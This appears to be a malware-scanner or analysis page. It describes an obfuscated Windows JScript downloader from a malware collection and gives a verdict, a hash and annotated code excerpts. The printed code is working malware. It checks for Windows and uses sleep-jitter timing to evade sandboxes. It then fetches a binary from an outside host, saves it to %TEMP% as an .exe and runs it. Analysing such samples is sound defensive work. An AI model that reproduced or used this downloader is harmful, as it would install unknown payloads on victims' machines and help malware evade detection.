Hostile ^100% javascript-malware-collection Download

20160328_8f6a06dc968cd65396a5e389ac5d882d.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-2564cf064b5d58d1468baa84ee8d0a5ceab9aa930494966a529077df873e5650adc

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Mziubldmnc = false;
2var Owcikrm = "CreateObject";
3var Tnrwq = function Vmddf() {return WScript[Owcikrm]("WScript.Shell");}();
4var Xjbghftyg = 123213;
5var Dtelub = "MSXML2.XMLHTTP";
6var Cebulzhfct = 2123213;
7var Ahboj = 0;
8function Nsrugodbv(Snbxy){Tnrwq["Run"](Snbxy, Ahboj, Ahboj);};
9function Aguugw(){return Dtelub;};
10function Edgdju(Lyrsnd, Jqjdsvqfaf){return Lyrsnd - Jqjdsvqfaf;};
11function Wdvyb(){return Owcikrm;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Mziubldmnc = true;
15  @end
⋯6 lines
22function Kkyvikpkqs()
23{
24var Crautfklx = new this["Date"]();
25var Uerjfdhsk = Crautfklx["getUTCMilliseconds"]();
26WScript["Sleep"](Azehpyurt());
27var Crautfklx = new this["Date"]();
⋯10 lines

English function-word token "for" lines 37–42

37:36… 
38}
39var Gkuxhe = false;
40var Kseycyeat = false;
41for (var Feyycot = Ahboj; Feyycot < Azehpyurt() * 1; Feyycot++){if (Kkyvikpkqs() != Ahboj){
42Gkuxhe = …

Contains a hardcoded insecure HTTP URL lines 49–63

49:4… (Gkuxhe && Qwhlemgm() && Kseycyeat){
50function Vkmgjs() {return Tnrwq["ExpandEnvironmentStrings"]("%TEMP%/") + "epfCyiCjB7bxDUN.exe";};
51 Tfwwlsflez = Aguugw();
52 Fjckiyq = WScript[Owcikrm](Tfwwlsflez);
53 var Hxwls = 1;
54 while (Hxwls){
55try {
56Fjckiyq[Kuhkkbplb]("GET", "http://dukeplasticslab.com/j47akfa", false);
57Fjckiyq["send"]();
58Tyrljsl = "Sleep";
59do {WScript[Tyrljsl](Azehpyurt() * 11)} while (Fjckiyq["readystate"] < 4 );
60Hxwls = Ahboj;
61} catch(Qptbdg){Hxwls = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Bawdzymaf(Qekxdecgzk)  …

Calls computed member from function result lines 63–75

63:48… (1, 2, 3, 4, 5, Qekxdecgzk); return Ynvqghzb;};
64Hjeln = WScript[Wdvyb()]("ADODB.Stream");
65Tfwwlsflez = Hjeln;
66Tfwwlsflez[Kuhkkbplb]();
67Tfwwlsflez["type"] = Bawdzymaf(1);
68Tfwwlsflez["write"](Fjckiyq["ResponseBody"]);
69Hjeln["position"] = Bawdzymaf(Ahboj);
70Tfwwlsflez["SaveToFile"](Vkmgjs(), Bawdzymaf(2) );
71Hjeln["close"]();
72Nsrugodbv(Vkmgjs());
73}
74}
75